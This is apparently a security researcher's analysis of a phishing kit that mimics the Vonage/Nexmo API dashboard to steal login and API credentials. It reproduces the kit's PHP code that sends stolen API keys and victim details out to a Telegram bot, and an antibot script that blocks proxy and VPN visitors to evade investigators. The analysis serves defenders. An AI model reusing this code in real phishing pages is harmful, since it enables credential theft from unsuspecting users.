Why Do Phishers Want Vonage APIs?

The name “Vonage API” seems to just be the new name for the previous Nexmo API, which was acquired by Vonage, but functionally it remains the same.

The Vonage API has many features so I will only focus on the ones that would be interesting to a phisher or scammer:

Vonage API features

These features would be beneficial to a phisher wanting to experiment with using the API in new two-factor (or multi-factor) authentication phishing kits.

In fact, this Vonage API tutorial page actually guides users on implementing SMS 2FA, so one could imagine how this could be weaponized by attackers.

The API also allows for easy integration and use by Python scripts as covered in this post.

Of course, the 80+ country number pool would also be useful for vishing (phishing over voice calls) attempts.

The API basically can be used as a virtual burner phone, but this burner phone has a huge repository of available phone numbers that can be switched out and can be easily integrated into phishing kits.

Phishing page process

Phishing Page - Step One (Login)

The phishing landing page tries to mimic the real Vonage API dashboard login page as shown in the below comparison image:

Phishing page vs Real page

The phishing page does a good enough job of replicating the overall look by copying the vertical split website design.

Phishing Page - Step Two (API)

After the victim submits their login information, they are directed to the second step of the phishing page, which is a page mimicing the Vonage/Nexmo API dashboard:

Fake Nexmo Dashboard

Telegram Bot Exfiltration

The exfiltration is not handled by email, which has been a preferred exfiltration method among many PHP phishing kits - but instead uses the Telegram Bot exfiltration technique. This technique has been steadily gaining traction in the phishing community and in some new phishing kits it has entirely replaced the previous email method.

$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);

$pesan .= "-----nexmo API Key p2-----".PHP_EOL;
$pesan .= "public api : ".$_POST["apisecret"].PHP_EOL;
$pesan .= "secret api : ".$_POST["apipublic"].PHP_EOL;
$pesan .= "date entry  :" . date("Y-m-d - H:i:s - ")."\n";
$pesan .= "Client IP   : ".$ip."\n";
$pesan .= "HostName    : ".$hostname."\n";
$pesan .= "User Agent  : ".$_SERVER['HTTP_USER_AGENT']."\n";
$pesan .= "========Metri copyright========\n";
if ($_POST){
$website = "https://api.telegram.org/bot" . $token_telegram;
$params=[
    'chat_id'=>$chat_id,
    'text'=>$pesan,
];
$ch = curl_init($website . '/sendMessage');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);


$Txt_Rezlt = fopen('./rezult/rzlt.txt', 'a+');
fwrite($Txt_Rezlt, $pesan);
fclose($Txt_Rezlt);

The Indonesian word “pesan”, which is used as a variable name, translates to “message” in English.

It’s important to note that some attackers will use decoys like different timezones or variables in a different language than one they speak. This is done to throw off and lead investigators down a rabbit hole that will waste their time. In my experience, most phishers aren’t concerned enough to employ such countermeasures.

Antibot Amalgamation

The phishing kit author just copied a bunch of antibot files from different existing phishing kits and then threw them into a directory.

┌─[r00t@KTP [Tue Dec 29 11:33:18][/var/www/html/upgrade/nxm]
└──╼ # find . -name "anti*" 
./Metri_crypt/anti6.php
./Metri_crypt/anti5.php
./Metri_crypt/anti9.php
./Metri_crypt/anti8.php
./Metri_crypt/anti2.php
./Metri_crypt/anti1.php
./Metri_crypt/anti3.php
./Metri_crypt/anti4.php
./Metri_crypt/anti0.php
./Metri_crypt/anti7.php

Most of the anti files are just your standard antibot style blockers and have arrays of IP address ranges and hostnames that should be blocked from accessing the phishing page.

However there is one anti file, anti0.php, that at least uses a third party website for determining whether a visitor’s IP is associated with a proxy or VPN. I included a copy of it below:


<?php
$random_id = sha1(rand(0,1000000));
function getUserIPs()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    return $ip;
}

$ip = getUserIPs();
if($proxyblock == 1) {
    if($ip == "127.0.0.1") {
    }else{
        $url = "http://proxy.mind-media.com/block/proxycheck.php?ip=".$ip;
        $ch = curl_init();  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $resp = curl_exec($ch);
        curl_close($ch);
        $result = $resp;
        if($result == "Y") {
            $file = fopen("proxy-block.txt","a");
            $message = $ip."\n";
            fwrite($file, $message);
            fclose($file);
            $click = fopen("result/total_bot.txt","a");
            fwrite($click,"$ip (Detect by Proxy/VPN)"."\n");
            fclose($click);
            header('HTTP/1.0 403 Forbidden');
    die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
            exit();
        }
    }
}
?>